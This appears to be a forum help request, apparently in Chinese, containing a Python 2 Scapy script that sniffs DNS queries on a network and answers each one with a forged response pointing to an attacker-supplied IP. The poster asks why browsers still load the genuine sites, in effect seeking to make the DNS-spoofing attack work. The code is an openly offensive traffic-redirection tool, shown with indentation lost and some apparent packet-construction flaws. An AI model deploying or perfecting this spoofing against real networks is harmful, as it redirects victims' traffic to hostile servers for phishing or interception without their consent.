我使用Scapy库编写了一个python脚本来欺骗所有查询的DNS响应。该脚本是成功的,这意味着当我手动查找IP地址时,我会得到我的脚本提供的IP地址。那么,当你去需要DNS查询的网站时,我是否得到了正确的页面,而不是一个完全不同的网站(在特定的IP上提供)。
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # remove scapy warnings
from scapy.all import *
conf.verb = 0 # turn off scapy messages
spoofed_ip = YOUR_IP
def start():
print 'Listening for DNS Queries...'
sniff(
lfilter=lambda p: p.haslayer(UDP) and p.dport == 53, # is DNS query
prn=callback,
)
def callback(p):
res = forge_response(p)
sendp(res)
print 'Spoofed Response: ' + res[DNS].an.rrname + '->' + str(res[IP].dst) + ' As: ' + spoofed_ip
def forge_response(p):
ether = Ether(src=p[Ether].dst, dst=p[Ether].src) # swap macs
ip = IP(src=p[IP].dst, dst=p[IP].src) # swap IPs
udp = UDP(sport=p[UDP].dport, dport=p[UDP].sport) # swap ports
dnsrr = DNSRR(rrname=p[DNSQR].qname, rdata=spoofed_ip)
dns = DNS(id=p[DNS].id, ancount=1, an=dnsrr)
res = ether / ip / udp / dns / dnsrr # forge response
return res
start()
非常感谢。